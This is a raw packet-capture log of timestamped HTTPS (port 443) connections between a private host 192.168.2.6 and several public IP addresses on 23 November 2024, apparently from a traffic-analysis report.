Nov 23, 2024 02:55:26.231637955 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.231683016 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.233486891 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.233536005 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.233589888 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.233597994 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.233634949 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.233658075 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.236610889 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.236692905 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.236699104 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.236751080 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.242979050 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.243046999 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.243053913 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.243108988 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.247872114 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.247939110 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.247945070 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.247997046 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.248081923 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.248104095 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.248145103 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.248157024 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.248188019 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.248203039 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.248545885 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.248589039 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.248668909 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.248675108 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.249270916 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.251720905 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.251737118 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.252521992 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.252588034 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.252594948 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.254575014 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.255996943 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.256016016 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.256079912 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.256088018 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.257438898 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.258527040 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.258588076 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.258594036 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.259272099 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.259279966 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.259284019 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.262787104 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.262803078 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.262888908 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.262897968 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.262947083 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.263237000 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.263317108 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.263323069 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.263360977 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.264516115 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.264559031 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.264590979 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.264596939 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.264630079 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.264650106 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.269328117 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.269408941 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.269416094 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.270760059 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.270809889 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.270824909 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.270886898 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.270895958 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.273236990 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.273258924 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.273324013 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.273329020 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.273372889 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.278630018 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.278645039 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.278712034 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.278721094 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.279256105 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.279341936 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.279350996 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.279359102 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.279405117 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.280633926 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.280677080 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.280720949 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.280728102 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.280777931 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.280800104 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.283889055 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.283956051 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.283962965 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.284420967 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.285949945 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.285965919 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.286014080 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.286022902 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.286053896 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.286067963 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.288556099 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.288624048 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.288630962 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.289604902 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.293843985 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.293860912 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.293912888 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.293920994 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.293937922 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.293963909 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.294598103 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.294661045 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.294668913 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.294704914 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.299324036 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.299386024 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.299392939 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.299521923 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.300750971 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.300769091 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.300803900 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.300812006 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.300838947 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.300853968 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.388955116 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.389014959 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.389049053 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.389065981 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.389097929 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.389117002 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.399063110 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.399111986 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.399178982 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.399189949 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.399209976 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.399231911 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.410348892 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.410398006 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.410453081 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.410458088 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.410482883 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.410501957 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.421515942 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.421561956 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.421617031 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.421624899 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.421670914 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.423055887 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.423125982 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.423135042 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.423198938 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.425884962 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.425956011 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.425964117 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.426230907 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.429336071 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.429404020 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.429409981 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.429457903 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.431883097 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.431937933 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.431976080 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.431983948 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.432018995 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.432034016 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.433729887 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.433793068 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.433801889 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.434658051 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.437174082 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.437238932 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.437244892 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.437446117 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.440175056 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.440196037 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.440278053 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.440296888 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.440974951 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.441631079 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.441695929 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.441701889 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.442503929 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.443072081 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.443114996 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.443142891 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.443147898 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.443177938 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.443197012 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.444992065 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.445072889 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.445079088 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.445138931 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.446362972 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.446378946 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.446433067 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.446441889 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.446474075 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.446492910 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.448427916 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.448556900 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.448564053 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.449729919 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.452775002 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.452821970 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.452857018 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.452862024 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.452888012 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.452904940 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.452922106 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.452977896 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.452987909 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.453366995 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.453385115 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.453450918 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.453460932 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.453489065 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.453517914 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.456343889 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.456449032 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.456455946 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.457562923 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.460221052 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.460283995 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.460290909 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.460416079 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.460422039 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.460433960 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.460479021 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.460488081 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.460520029 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.460545063 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.463726997 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.463810921 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.463819027 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.464423895 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.466486931 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.466505051 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.466567993 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.466577053 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.466612101 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.466630936 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.468152046 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.468230963 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.468240976 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.468420982 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.471504927 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.471570969 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.471577883 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.472273111 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.473963976 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.474050045 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.474945068 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.475008011 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.475020885 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.476427078 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.479402065 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.479473114 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.479480982 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.480429888 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.520972013 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.520993948 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.521061897 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.524841070 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.524877071 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.525053978 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.525103092 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.525118113 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.527652979 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.527666092 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.534255028 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:26.534267902 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:26.534373999 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:26.534944057 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:26.534955025 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:26.582079887 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.582139015 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.582155943 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.582175016 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.582211018 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.582220078 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.583682060 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.583748102 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.583803892 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.584356070 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.584373951 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.584388018 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.584395885 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.588983059 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.589018106 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.589097023 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.590492964 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.590506077 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.590672970 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.590718985 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.590739965 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.590745926 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.590780973 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.590806961 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.599271059 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.599332094 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.599353075 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.599359035 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.599395037 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.599407911 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.606756926 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.606803894 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.606834888 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.606839895 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.606888056 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.615353107 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.615397930 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.615426064 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.615432024 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.615473032 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.623471975 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.623521090 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.623538971 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.623544931 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.623585939 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.623615026 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.624181032 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.624237061 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.624248028 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.624288082 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.627105951 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.627177000 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.627185106 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.627230883 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.631525040 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.631586075 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.631592989 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.631637096 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.632040024 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.632086992 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.632112980 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.632118940 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.632150888 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.632169962 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.634882927 CET	443	49767	150.171.27.10	192.168.2.6
